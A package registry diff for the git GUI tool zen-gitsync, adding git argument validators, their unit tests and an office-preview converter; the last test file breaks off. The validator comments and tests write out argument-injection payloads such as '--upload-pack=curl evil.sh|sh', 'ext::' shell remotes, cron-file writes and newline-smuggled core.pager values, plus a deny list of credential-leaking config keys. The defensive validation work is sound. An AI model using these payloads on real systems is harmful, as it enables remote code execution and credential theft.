zen-gitsync 2.16.31 → 2.16.33
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +31 -0
- package/package.json +2 -2
- package/src/config.js +12 -2
- package/src/ui/public/assets/AgentView-D9y5maA3.js +4 -0
- package/src/ui/public/assets/AppVersionBadge-CsKq0HLG.js +2 -0
- package/src/ui/public/assets/BranchSelector-C09wdMBR.js +1 -0
- package/src/ui/public/assets/CommitForm-wTVAlj8K.js +6 -0
- package/src/ui/public/assets/CommonDialog-gF_3v5QY.js +1 -0
- package/src/ui/public/assets/EditorView-BYaXYY5H.js +1 -0
- package/src/ui/public/assets/FlowExecutionViewer-DvSe3GqC.js +1 -0
- package/src/ui/public/assets/FlowOrchestrationWorkspace-FYLZxzMC.js +21 -0
- package/src/ui/public/assets/LogList-BB56Ma_-.js +7 -0
- package/src/ui/public/assets/MindmapView-B57NJ-tK.js +2 -0
- package/src/ui/public/assets/MonitorView-DujOLv6G.js +1 -0
- package/src/ui/public/assets/ProjectStartupButton-B0vIxM8Y.js +1 -0
- package/src/ui/public/assets/RemoteRepoCard-Tdhzf-Jb.js +5 -0
- package/src/ui/public/assets/SourceMapView-Bf7__bEW.js +3 -0
- package/src/ui/public/assets/SvgIcon-DV0F5fm7.js +1 -0
- package/src/ui/public/assets/UserInputNode-ZatmWGxI.js +1 -0
- package/src/ui/public/assets/WorkbenchView-DVjvpQMi.js +28 -0
- package/src/ui/public/assets/_plugin-vue_export-helper-DkdPQgM8.js +17 -0
- package/src/ui/public/assets/configStore-C2xoYf_U.js +1 -0
- package/src/ui/public/assets/element-plus-BrZIKMTV.js +47 -0
- package/src/ui/public/assets/{flow-mindmap-C0_IdibG.css → flow-mindmap-DnzM9SlK.css} +1 -1
- package/src/ui/public/assets/flow-mindmap-uF7lcnUF.js +139 -0
- package/src/ui/public/assets/index-DDa4fUq_.js +79 -0
- package/src/ui/public/assets/index-DkMUEB4_.css +1 -0
- package/src/ui/public/assets/office-docx-DZfJaVF6.js +32 -0
- package/src/ui/public/assets/office-excel-BhBLQBXN.js +170 -0
- package/src/ui/public/assets/office-pptx-C0yb5pVU.js +74 -0
- package/src/ui/public/assets/toolsStore-Dpb3rc-o.js +1 -0
- package/src/ui/public/assets/{vendor-Cx8PA1NP.js → vendor-BuJWEuf4.js} +43 -43
- package/src/ui/public/assets/vue-flow-CrEicpfB.js +39 -0
- package/src/ui/public/index.html +12 -12
- package/src/ui/server/index.js +9 -23
- package/src/ui/server/middleware/originGuard.js +138 -0
- package/src/ui/server/middleware/originGuard.test.js +125 -0
- package/src/ui/server/routes/fs.js +83 -3
- package/src/ui/server/routes/git/diff.js +12 -4
- package/src/ui/server/routes/git/stash.js +39 -29
- package/src/ui/server/routes/git/tags.js +23 -16
- package/src/ui/server/routes/git.js +17 -11
- package/src/ui/server/routes/gitOps.js +126 -47
- package/src/ui/server/routes/npm.js +36 -10
- package/src/ui/server/utils/gitArgs.js +165 -0
- package/src/ui/server/utils/gitArgs.test.js +215 -0
- package/src/ui/server/utils/officePreview.js +80 -0
- package/src/ui/server/utils/officePreview.test.js +21 -0
- package/src/ui/server/utils/startServerOnAvailablePort.js +20 -2
- package/src/ui/server/utils/startServerOnAvailablePort.test.js +181 -0
- package/src/ui/public/assets/AgentView-DPan52IZ.js +0 -4
- package/src/ui/public/assets/AppVersionBadge-CiorBQrl.js +0 -2
- package/src/ui/public/assets/BranchSelector-OQWGKJq8.js +0 -1
- package/src/ui/public/assets/CommitForm-Cq1UUNM4.js +0 -6
- package/src/ui/public/assets/CommonDialog-DJqOwkbm.js +0 -1
- package/src/ui/public/assets/EditorView-0HmbFAex.js +0 -1
- package/src/ui/public/assets/FlowExecutionViewer-DjIAKDQt.js +0 -1
- package/src/ui/public/assets/FlowOrchestrationWorkspace-CCs7sMOO.js +0 -21
- package/src/ui/public/assets/LogList-De9E23D1.js +0 -7
- package/src/ui/public/assets/MindmapView-CpyaWr7b.js +0 -2
- package/src/ui/public/assets/MonitorView-DVwS51YV.js +0 -1
- package/src/ui/public/assets/ProjectStartupButton-DiaZ8xiI.js +0 -1
- package/src/ui/public/assets/RemoteRepoCard-B299cQhO.js +0 -5
- package/src/ui/public/assets/SourceMapView-C7vO_5Hz.js +0 -3
- package/src/ui/public/assets/SvgIcon-B9XhBoIQ.js +0 -1
- package/src/ui/public/assets/UserInputNode-CeNehn29.js +0 -1
- package/src/ui/public/assets/WorkbenchView-Be4GcjdO.js +0 -28
- package/src/ui/public/assets/_plugin-vue_export-helper-aENhMEEX.js +0 -17
- package/src/ui/public/assets/configStore-BvJZNumP.js +0 -1
- package/src/ui/public/assets/element-plus-B3pTS_5R.js +0 -32
- package/src/ui/public/assets/flow-mindmap-hUZCS6o1.js +0 -138
- package/src/ui/public/assets/index-CuD0oK0z.js +0 -79
- package/src/ui/public/assets/index-zmReBTKj.css +0 -1
- package/src/ui/public/assets/toolsStore-D9gXnqwO.js +0 -1
- package/src/ui/public/assets/vue-flow-COROsN-V.js +0 -39
|
@@ -0,0 +1,165 @@
|
|
|
1
|
+
// Copyright 2026 xz333221
|
|
2
|
+
//
|
|
3
|
+
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
4
|
+
// you may not use this file except in compliance with the License.
|
|
5
|
+
// You may obtain a copy of the License at
|
|
6
|
+
//
|
|
7
|
+
// http://www.apache.org/licenses/LICENSE-2.0
|
|
8
|
+
//
|
|
9
|
+
// Unless required by applicable law or agreed to in writing, software
|
|
10
|
+
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
11
|
+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
12
|
+
// See the License for the specific language governing permissions and
|
|
13
|
+
// limitations under the License.
|
|
14
|
+
//
|
|
15
|
+
// git 参数校验 —— 防止用户输入被 git 当成选项解析。
|
|
16
|
+
//
|
|
17
|
+
// 背景:execGitCommand 用 execFile 且不开 shell,所以不存在 shell 注入。
|
|
18
|
+
// 但 git 自身提供了一批"能执行命令"的选项,最典型的是 --upload-pack:
|
|
19
|
+
//
|
|
20
|
+
// git push -u origin '--upload-pack=curl evil.sh|sh' ← branch 是这个就能 RCE
|
|
21
|
+
// git remote add origin 'ext::sh -c id' ← url 也能
|
|
22
|
+
// git show '--output=/etc/cron.d/x' HEAD ← 写任意文件
|
|
23
|
+
//
|
|
24
|
+
// 根因是参数位置上的用户输入只做了"非空"检查,没做形状校验。
|
|
25
|
+
// 这里统一收口:所有进 execGitCommand 的 rev / pathspec 必须先过一遍。
|
|
26
|
+
//
|
|
27
|
+
// 设计取舍:分支名用**黑名单**而不是 ASCII 白名单 —— git 分支名允许 Unicode,
|
|
28
|
+
// 中文分支名是真实存在的使用场景,白名单会误伤。
|
|
29
|
+
|
|
30
|
+
import { HttpError } from './asyncRoute.js'
|
|
31
|
+
|
|
32
|
+
// git 在 refname 中禁止的字符:ASCII 控制字符、空格、~ ^ : ? * [ \
|
|
33
|
+
const ILLEGAL_REF_CHARS = /[\x00-\x1f\x7f\s~^:?*[\\]/
|
|
34
|
+
|
|
35
|
+
// 完整或缩写的 commit hash。下限取 4 是因为 git 允许 4 位以上的缩写。
|
|
36
|
+
const GIT_HASH_RE = /^[0-9a-fA-F]{4,40}$/
|
|
37
|
+
|
|
38
|
+
const MAX_LEN = 255
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* 校验分支名 / tag 名 / 其他 ref 名。
|
|
42
|
+
* 返回规范化后的字符串;不合法则抛 HttpError(400)。
|
|
43
|
+
*/
|
|
44
|
+
export function assertGitRef(value, label = '引用名') {
|
|
45
|
+
const s = String(value ?? '').trim()
|
|
46
|
+
if (!s) throw new HttpError(400, `缺少${label}`)
|
|
47
|
+
// 以 - 开头会被 git 解析成选项,这是参数注入的入口
|
|
48
|
+
if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
|
|
49
|
+
if (ILLEGAL_REF_CHARS.test(s)) throw new HttpError(400, `${label}含有非法字符`)
|
|
50
|
+
if (s.includes('..')) throw new HttpError(400, `${label}不能包含 ..`)
|
|
51
|
+
if (s.startsWith('/') || s.endsWith('/') || s.includes('//')) {
|
|
52
|
+
throw new HttpError(400, `${label}格式不合法`)
|
|
53
|
+
}
|
|
54
|
+
if (s.length > MAX_LEN) throw new HttpError(400, `${label}过长`)
|
|
55
|
+
return s
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/**
|
|
59
|
+
* 校验 commit hash。只接受十六进制,不接受 HEAD~1 / branch 名等 rev 形式 ——
|
|
60
|
+
* 调用方如果需要支持 ref,应当改用 assertGitRef。
|
|
61
|
+
*/
|
|
62
|
+
export function assertGitHash(value, label = '提交哈希') {
|
|
63
|
+
const s = String(value ?? '').trim()
|
|
64
|
+
if (!s) throw new HttpError(400, `缺少${label}`)
|
|
65
|
+
if (!GIT_HASH_RE.test(s)) throw new HttpError(400, `${label}格式不合法`)
|
|
66
|
+
return s
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// git config 允许读写的 key 白名单。
|
|
70
|
+
//
|
|
71
|
+
// 为什么必须白名单:git config --global 的 key 完全不设限会带来两个洞
|
|
72
|
+
// 1. 读 http.https://github.com/.extraheader → 把 PAT 原样回给前端
|
|
73
|
+
// 2. 写 core.editor / core.pager / alias.* → 后续 git 操作会执行其中的命令
|
|
74
|
+
// 比如 core.pager='sh -c "id > /tmp/pwned" ;',下一次 git log 就触发了
|
|
75
|
+
//
|
|
76
|
+
// 白名单只放纯数据型配置。alias.* 一律不收(git alias 会走 shell)。
|
|
77
|
+
// 有额外需求时用 ZEN_GIT_CONFIG_ALLOWED_KEYS 追加(逗号分隔)。
|
|
78
|
+
const DEFAULT_ALLOWED_GIT_CONFIG_KEYS = new Set([
|
|
79
|
+
'user.name',
|
|
80
|
+
'user.email',
|
|
81
|
+
'core.autocrlf',
|
|
82
|
+
'core.safecrlf',
|
|
83
|
+
'core.quotepath',
|
|
84
|
+
'core.ignorecase',
|
|
85
|
+
'core.longpaths',
|
|
86
|
+
'push.autoSetupRemote',
|
|
87
|
+
'push.default',
|
|
88
|
+
'pull.rebase',
|
|
89
|
+
'fetch.prune',
|
|
90
|
+
'init.defaultBranch'
|
|
91
|
+
])
|
|
92
|
+
|
|
93
|
+
function allowedGitConfigKeys() {
|
|
94
|
+
const extra = String(process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS || '')
|
|
95
|
+
.split(',')
|
|
96
|
+
.map((s) => s.trim())
|
|
97
|
+
.filter(Boolean)
|
|
98
|
+
if (extra.length === 0) return DEFAULT_ALLOWED_GIT_CONFIG_KEYS
|
|
99
|
+
return new Set([...DEFAULT_ALLOWED_GIT_CONFIG_KEYS, ...extra])
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
/**
|
|
103
|
+
* 校验 git config 的 key。只允许白名单内的项,其余一律 400。
|
|
104
|
+
*/
|
|
105
|
+
export function assertGitConfigKey(value, label = '配置项名称') {
|
|
106
|
+
const s = String(value ?? '').trim()
|
|
107
|
+
if (!s) throw new HttpError(400, `缺少${label}`)
|
|
108
|
+
if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
|
|
109
|
+
if (!allowedGitConfigKeys().has(s)) {
|
|
110
|
+
throw new HttpError(400, `不允许读写的 git ${label}: ${s}`)
|
|
111
|
+
}
|
|
112
|
+
return s
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* 校验 git config 的 value。
|
|
117
|
+
*
|
|
118
|
+
* 光有 key 白名单还不够:git config 写值时,值里若含换行,.gitconfig 里就会
|
|
119
|
+
* 真的多出一行,等于能凭空塞进任意 key(core.pager 之类照样写进去),白名单
|
|
120
|
+
* 直接被绕过。方括号同理,能拼出一个新的 section。
|
|
121
|
+
*/
|
|
122
|
+
export function assertGitConfigValue(value, label = '配置项取值') {
|
|
123
|
+
const s = String(value ?? '').trim()
|
|
124
|
+
// \x00-\x1f 覆盖 \n(0x0a) 与 \r(0x0d),[] 用于防止伪造 section
|
|
125
|
+
if (/[\x00-\x1f\x7f[\]]/.test(s)) {
|
|
126
|
+
throw new HttpError(400, `${label}含有非法字符`)
|
|
127
|
+
}
|
|
128
|
+
return s
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
/**
|
|
132
|
+
* 校验 remote URL。
|
|
133
|
+
*
|
|
134
|
+
* 除了 remote 名要过 assertGitRef,URL 本身也有两个坑:
|
|
135
|
+
* 1. git 支持 `ext::` 传输协议,值是 shell 命令 —— `git remote add origin 'ext::sh -c id'`
|
|
136
|
+
* 会在下次 fetch/pull 时执行它。
|
|
137
|
+
* 2. 以 - 开头同样会被解析成选项。
|
|
138
|
+
*/
|
|
139
|
+
export function assertGitRemoteUrl(value, label = '远程仓库地址') {
|
|
140
|
+
const s = String(value ?? '').trim()
|
|
141
|
+
if (!s) throw new HttpError(400, `${label}不能为空`)
|
|
142
|
+
if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
|
|
143
|
+
// ext:: 后面跟的是要执行的命令,等于把 remote 配置变成 RCE
|
|
144
|
+
if (/^ext::/i.test(s)) throw new HttpError(400, `不支持 ext:: 传输协议`)
|
|
145
|
+
if (/[\x00-\x1f\x7f]/.test(s)) throw new HttpError(400, `${label}含有非法字符`)
|
|
146
|
+
return s
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* 校验仓库内的相对路径(用于 pathspec 和 `<rev>:<path>` 这类 spec)。
|
|
151
|
+
* 拒绝绝对路径、盘符路径、UNC 路径与 .. 上跳。
|
|
152
|
+
*/
|
|
153
|
+
export function assertGitPath(value, label = '文件路径') {
|
|
154
|
+
const s = String(value ?? '').trim()
|
|
155
|
+
if (!s) throw new HttpError(400, `缺少${label}`)
|
|
156
|
+
if (s.startsWith('-')) throw new HttpError(400, `${label}不能以 - 开头`)
|
|
157
|
+
if (/[\x00-\x1f\x7f]/.test(s)) throw new HttpError(400, `${label}含有非法字符`)
|
|
158
|
+
// 绝对路径 / Windows 盘符 / UNC —— 仓库内路径应当是相对形式
|
|
159
|
+
if (s.startsWith('/') || /^[A-Za-z]:[\\/]/.test(s) || s.startsWith('\\\\')) {
|
|
160
|
+
throw new HttpError(400, `${label}必须是仓库内的相对路径`)
|
|
161
|
+
}
|
|
162
|
+
if (s.split(/[\\/]/).includes('..')) throw new HttpError(400, `${label}不能包含 ..`)
|
|
163
|
+
if (s.length > MAX_LEN * 4) throw new HttpError(400, `${label}过长`)
|
|
164
|
+
return s
|
|
165
|
+
}
|
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
// Copyright 2026 xz333221
|
|
2
|
+
//
|
|
3
|
+
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
4
|
+
// you may not use this file except in compliance with the License.
|
|
5
|
+
// You may obtain a copy of the License at
|
|
6
|
+
//
|
|
7
|
+
// http://www.apache.org/licenses/LICENSE-2.0
|
|
8
|
+
//
|
|
9
|
+
// Unless required by applicable law or agreed to in writing, software
|
|
10
|
+
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
11
|
+
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
12
|
+
// See the License for the specific language governing permissions and
|
|
13
|
+
// limitations under the License.
|
|
14
|
+
//
|
|
15
|
+
// gitArgs.js 单元测试。
|
|
16
|
+
//
|
|
17
|
+
// 这些校验挡的是「用户输入被 git 当成选项解析」——execFile 无 shell 拦不住
|
|
18
|
+
// git 自身的 --upload-pack / --output / ext:: 这类能执行命令或写文件的东西。
|
|
19
|
+
// 测试的重点是**攻击载荷必须被拒**、**正常用法必须放行**(尤其中文分支名,
|
|
20
|
+
// 用 ASCII 白名单会误伤,所以这里刻意用黑名单实现)。
|
|
21
|
+
import { test } from 'node:test'
|
|
22
|
+
import assert from 'node:assert/strict'
|
|
23
|
+
import {
|
|
24
|
+
assertGitRef,
|
|
25
|
+
assertGitHash,
|
|
26
|
+
assertGitPath,
|
|
27
|
+
assertGitRemoteUrl,
|
|
28
|
+
assertGitConfigKey,
|
|
29
|
+
assertGitConfigValue
|
|
30
|
+
} from './gitArgs.js'
|
|
31
|
+
import { HttpError } from './asyncRoute.js'
|
|
32
|
+
|
|
33
|
+
/** 断言该输入被拒,并返回抛出的 HttpError 状态码应 >= 400 */
|
|
34
|
+
function assertRejected(fn, input, label) {
|
|
35
|
+
assert.throws(
|
|
36
|
+
() => fn(input),
|
|
37
|
+
(err) => {
|
|
38
|
+
if (!(err instanceof HttpError)) return false
|
|
39
|
+
if (!(err.statusCode >= 400)) return false
|
|
40
|
+
return true
|
|
41
|
+
},
|
|
42
|
+
`${label}: 应拒绝输入 ${JSON.stringify(input)}`
|
|
43
|
+
)
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
test('assertGitRef: 放行正常分支名', () => {
|
|
47
|
+
for (const ok of ['main', 'feature/login', 'v1.0.0', 'release_2', '功能分支', 'fix/bug-123']) {
|
|
48
|
+
assert.equal(assertGitRef(ok), ok.trim(), `应放行 ${ok}`)
|
|
49
|
+
}
|
|
50
|
+
})
|
|
51
|
+
|
|
52
|
+
test('assertGitRef: 中文分支名必须放行(不能用 ASCII 白名单)', () => {
|
|
53
|
+
assert.equal(assertGitRef('新功能'), '新功能')
|
|
54
|
+
assert.equal(assertGitRef('修复/登录问题'), '修复/登录问题')
|
|
55
|
+
})
|
|
56
|
+
|
|
57
|
+
test('assertGitRef: 拒绝以 - 开头的参数注入载荷', () => {
|
|
58
|
+
for (const bad of [
|
|
59
|
+
'--upload-pack=curl evil.sh|sh',
|
|
60
|
+
'--output=/etc/cron.d/x',
|
|
61
|
+
'-u',
|
|
62
|
+
'--exec=sh'
|
|
63
|
+
]) {
|
|
64
|
+
assertRejected(assertGitRef, bad, 'assertGitRef')
|
|
65
|
+
}
|
|
66
|
+
})
|
|
67
|
+
|
|
68
|
+
test('assertGitRef: 拒绝 git refname 非法字符、.. 与斜杠形态', () => {
|
|
69
|
+
for (const bad of [
|
|
70
|
+
'a b', // 空格
|
|
71
|
+
'HEAD~1', // ~
|
|
72
|
+
'a^', // ^
|
|
73
|
+
'a:b', // :
|
|
74
|
+
'a?b', // ?
|
|
75
|
+
'a*b', // *
|
|
76
|
+
'a[b', // [
|
|
77
|
+
'a\\b', // 反斜杠
|
|
78
|
+
'a..b', // ..
|
|
79
|
+
'/leading',
|
|
80
|
+
'trailing/',
|
|
81
|
+
'double//slash',
|
|
82
|
+
'',
|
|
83
|
+
' '
|
|
84
|
+
]) {
|
|
85
|
+
assertRejected(assertGitRef, bad, 'assertGitRef')
|
|
86
|
+
}
|
|
87
|
+
})
|
|
88
|
+
|
|
89
|
+
test('assertGitHash: 放行 4~40 位十六进制', () => {
|
|
90
|
+
assert.equal(assertGitHash('abc1234'), 'abc1234')
|
|
91
|
+
assert.equal(assertGitHash('ABCDEF'), 'ABCDEF')
|
|
92
|
+
assert.equal(assertGitHash('a'.repeat(40)), 'a'.repeat(40))
|
|
93
|
+
assert.equal(assertGitHash('abcd'), 'abcd')
|
|
94
|
+
})
|
|
95
|
+
|
|
96
|
+
test('assertGitHash: 拒绝非十六进制与 rev 语法', () => {
|
|
97
|
+
for (const bad of [
|
|
98
|
+
'abc', // 太短
|
|
99
|
+
'g123456', // 非十六进制
|
|
100
|
+
'abc123^', // rev 语法
|
|
101
|
+
'HEAD',
|
|
102
|
+
'main',
|
|
103
|
+
'--output=/tmp/x',
|
|
104
|
+
'',
|
|
105
|
+
'a'.repeat(41)
|
|
106
|
+
]) {
|
|
107
|
+
assertRejected(assertGitHash, bad, 'assertGitHash')
|
|
108
|
+
}
|
|
109
|
+
})
|
|
110
|
+
|
|
111
|
+
test('assertGitPath: 放行仓库内相对路径', () => {
|
|
112
|
+
for (const ok of ['src/foo.ts', 'a/b/c.js', 'README.md', '目录/文件.md']) {
|
|
113
|
+
assert.equal(assertGitPath(ok), ok)
|
|
114
|
+
}
|
|
115
|
+
})
|
|
116
|
+
|
|
117
|
+
test('assertGitPath: 拒绝绝对路径、盘符、UNC、.. 与选项形态', () => {
|
|
118
|
+
for (const bad of [
|
|
119
|
+
'../etc/passwd',
|
|
120
|
+
'a/../../b',
|
|
121
|
+
'/etc/passwd',
|
|
122
|
+
'C:\\Windows\\system32',
|
|
123
|
+
'C:/Windows',
|
|
124
|
+
'\\\\server\\share',
|
|
125
|
+
'--output=x',
|
|
126
|
+
'',
|
|
127
|
+
'a\x00b'
|
|
128
|
+
]) {
|
|
129
|
+
assertRejected(assertGitPath, bad, 'assertGitPath')
|
|
130
|
+
}
|
|
131
|
+
})
|
|
132
|
+
|
|
133
|
+
test('assertGitRemoteUrl: 放行常见远程地址', () => {
|
|
134
|
+
for (const ok of [
|
|
135
|
+
'https://github.com/xz333221/zen-gitsync.git',
|
|
136
|
+
'git@github.com:xz333221/zen-gitsync.git',
|
|
137
|
+
'ssh://git@github.com/xz333221/zen-gitsync.git',
|
|
138
|
+
'/local/path/to/repo.git'
|
|
139
|
+
]) {
|
|
140
|
+
assert.equal(assertGitRemoteUrl(ok), ok)
|
|
141
|
+
}
|
|
142
|
+
})
|
|
143
|
+
|
|
144
|
+
test('assertGitRemoteUrl: 拒绝 ext:: 传输协议(会执行 shell 命令)', () => {
|
|
145
|
+
for (const bad of [
|
|
146
|
+
'ext::sh -c id',
|
|
147
|
+
'EXT::sh -c id',
|
|
148
|
+
'ext::sh -c "curl evil.sh|sh"',
|
|
149
|
+
'--upload-pack=curl evil.sh|sh'
|
|
150
|
+
]) {
|
|
151
|
+
assertRejected(assertGitRemoteUrl, bad, 'assertGitRemoteUrl')
|
|
152
|
+
}
|
|
153
|
+
})
|
|
154
|
+
|
|
155
|
+
test('assertGitConfigKey: 放行前端实际用到的配置项', () => {
|
|
156
|
+
for (const ok of [
|
|
157
|
+
'user.name',
|
|
158
|
+
'user.email',
|
|
159
|
+
'core.autocrlf',
|
|
160
|
+
'push.autoSetupRemote',
|
|
161
|
+
'pull.rebase',
|
|
162
|
+
'fetch.prune',
|
|
163
|
+
'init.defaultBranch'
|
|
164
|
+
]) {
|
|
165
|
+
assert.equal(assertGitConfigKey(ok), ok)
|
|
166
|
+
}
|
|
167
|
+
})
|
|
168
|
+
|
|
169
|
+
test('assertGitConfigKey: 拒绝可泄露凭据或可执行命令的配置项', () => {
|
|
170
|
+
for (const bad of [
|
|
171
|
+
'http.https://github.com/.extraheader', // 读走 PAT
|
|
172
|
+
'core.editor', // 触发命令执行
|
|
173
|
+
'core.pager', // 触发命令执行
|
|
174
|
+
'alias.st', // git alias 走 shell
|
|
175
|
+
'credential.helper', // 可设成 !command
|
|
176
|
+
'core.sshCommand',
|
|
177
|
+
'--get'
|
|
178
|
+
]) {
|
|
179
|
+
assertRejected(assertGitConfigKey, bad, 'assertGitConfigKey')
|
|
180
|
+
}
|
|
181
|
+
})
|
|
182
|
+
|
|
183
|
+
test('assertGitConfigKey: ZEN_GIT_CONFIG_ALLOWED_KEYS 可追加放行项', () => {
|
|
184
|
+
const bak = process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS
|
|
185
|
+
try {
|
|
186
|
+
process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS = 'http.proxy, https.proxy'
|
|
187
|
+
assert.equal(assertGitConfigKey('http.proxy'), 'http.proxy')
|
|
188
|
+
assert.equal(assertGitConfigKey('https.proxy'), 'https.proxy')
|
|
189
|
+
// 白名单仍然生效,没被环境变量顶掉
|
|
190
|
+
assertRejected(assertGitConfigKey, 'core.pager', 'assertGitConfigKey')
|
|
191
|
+
} finally {
|
|
192
|
+
if (bak === undefined) delete process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS
|
|
193
|
+
else process.env.ZEN_GIT_CONFIG_ALLOWED_KEYS = bak
|
|
194
|
+
}
|
|
195
|
+
})
|
|
196
|
+
|
|
197
|
+
test('assertGitConfigValue: 拒绝换行与方括号(否则能绕过 key 白名单)', () => {
|
|
198
|
+
// 值里带换行会在 .gitconfig 里真的多出一行,等于凭空写入任意 key
|
|
199
|
+
for (const bad of [
|
|
200
|
+
'a\ncore.pager = sh -c id',
|
|
201
|
+
'a\neditor = evil',
|
|
202
|
+
'a\r\nb = c',
|
|
203
|
+
'[core]\n\tpager = sh -c id',
|
|
204
|
+
'a\x00b'
|
|
205
|
+
]) {
|
|
206
|
+
assertRejected(assertGitConfigValue, bad, 'assertGitConfigValue')
|
|
207
|
+
}
|
|
208
|
+
})
|
|
209
|
+
|
|
210
|
+
test('assertGitConfigValue: 放行正常取值', () => {
|
|
211
|
+
assert.equal(assertGitConfigValue(' Zhang San '), 'Zhang San')
|
|
212
|
+
assert.equal(assertGitConfigValue('true'), 'true')
|
|
213
|
+
assert.equal(assertGitConfigValue('main'), 'main')
|
|
214
|
+
assert.equal(assertGitConfigValue('a@b.com'), 'a@b.com')
|
|
215
|
+
})
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
import fs from 'fs/promises'
|
|
2
|
+
import os from 'os'
|
|
3
|
+
import path from 'path'
|
|
4
|
+
import { spawn } from 'child_process'
|
|
5
|
+
|
|
6
|
+
export const OFFICE_EXTS = new Set([
|
|
7
|
+
'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'odt', 'ods', 'odp',
|
|
8
|
+
])
|
|
9
|
+
|
|
10
|
+
const MAX_INPUT_BYTES = 50 * 1024 * 1024
|
|
11
|
+
const CONVERT_TIMEOUT_MS = 30_000
|
|
12
|
+
const cache = new Map()
|
|
13
|
+
|
|
14
|
+
export function getOfficeExtension(filePath = '') {
|
|
15
|
+
return path.extname(String(filePath)).toLowerCase().slice(1)
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
export function isOfficeFile(filePath = '') {
|
|
19
|
+
return OFFICE_EXTS.has(getOfficeExtension(filePath))
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function findSoffice() {
|
|
23
|
+
if (process.env.SOFFICE_PATH) return process.env.SOFFICE_PATH
|
|
24
|
+
return process.platform === 'win32' ? 'soffice.exe' : 'soffice'
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
async function runSoffice(inputPath, outputDir) {
|
|
28
|
+
const args = [
|
|
29
|
+
'--headless', '--nologo', '--nodefault', '--nofirststartwizard',
|
|
30
|
+
'--norestore', '--convert-to', 'pdf', '--outdir', outputDir, inputPath,
|
|
31
|
+
]
|
|
32
|
+
await new Promise((resolve, reject) => {
|
|
33
|
+
const child = spawn(findSoffice(), args, { windowsHide: true })
|
|
34
|
+
let stderr = ''
|
|
35
|
+
const timer = setTimeout(() => {
|
|
36
|
+
child.kill()
|
|
37
|
+
reject(new Error('Office 文件转换超时'))
|
|
38
|
+
}, CONVERT_TIMEOUT_MS)
|
|
39
|
+
child.stderr?.on('data', (chunk) => { stderr += String(chunk) })
|
|
40
|
+
child.once('error', (error) => { clearTimeout(timer); reject(error) })
|
|
41
|
+
child.once('exit', (code) => {
|
|
42
|
+
clearTimeout(timer)
|
|
43
|
+
if (code === 0) resolve()
|
|
44
|
+
else reject(new Error(stderr.trim() || `LibreOffice 转换失败 (${code})`))
|
|
45
|
+
})
|
|
46
|
+
})
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
/** Convert an Office buffer to PDF. Results are cached by caller-provided key. */
|
|
50
|
+
export async function convertOfficeToPdf({ buffer, filePath, cacheKey }) {
|
|
51
|
+
if (!Buffer.isBuffer(buffer)) throw new Error('Office 内容必须是二进制 Buffer')
|
|
52
|
+
if (buffer.length > MAX_INPUT_BYTES) throw new Error('Office 文件过大(最大 50 MB)')
|
|
53
|
+
if (cacheKey && cache.has(cacheKey)) return cache.get(cacheKey)
|
|
54
|
+
|
|
55
|
+
const ext = getOfficeExtension(filePath)
|
|
56
|
+
if (!OFFICE_EXTS.has(ext)) throw new Error('不支持的 Office 文件类型')
|
|
57
|
+
|
|
58
|
+
const tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'zen-office-'))
|
|
59
|
+
const inputPath = path.join(tempRoot, `input.${ext}`)
|
|
60
|
+
const outputPath = path.join(tempRoot, 'input.pdf')
|
|
61
|
+
try {
|
|
62
|
+
await fs.writeFile(inputPath, buffer)
|
|
63
|
+
await runSoffice(inputPath, tempRoot)
|
|
64
|
+
const pdf = await fs.readFile(outputPath)
|
|
65
|
+
const result = { buffer: pdf, contentType: 'application/pdf' }
|
|
66
|
+
if (cacheKey) {
|
|
67
|
+
cache.set(cacheKey, result)
|
|
68
|
+
if (cache.size > 64) cache.delete(cache.keys().next().value)
|
|
69
|
+
}
|
|
70
|
+
return result
|
|
71
|
+
} finally {
|
|
72
|
+
await fs.rm(tempRoot, { recursive: true, force: true }).catch(() => {})
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
export function clearOfficePreviewCache() {
|
|
77
|
+
cache.clear()
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
export const OFFICE_PREVIEW_LIMITS = { maxInputBytes: MAX_INPUT_BYTES, timeoutMs: CONVERT_TIMEOUT_MS }
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import test from 'node:test'
|
|
2
|
+
import assert from 'node:assert/strict'
|
|
3
|
+
import { getOfficeExtension, isOfficeFile, OFFICE_PREVIEW_LIMITS } from './officePreview.js'
|
|
4
|
+
|
|
5
|
+
test('officePreview: recognizes supported Office formats', () => {
|
|
6
|
+
assert.equal(isOfficeFile('docs/Report.DOCX'), true)
|
|
7
|
+
assert.equal(isOfficeFile('sheet.xls'), true)
|
|
8
|
+
assert.equal(isOfficeFile('slides.pptx'), true)
|
|
9
|
+
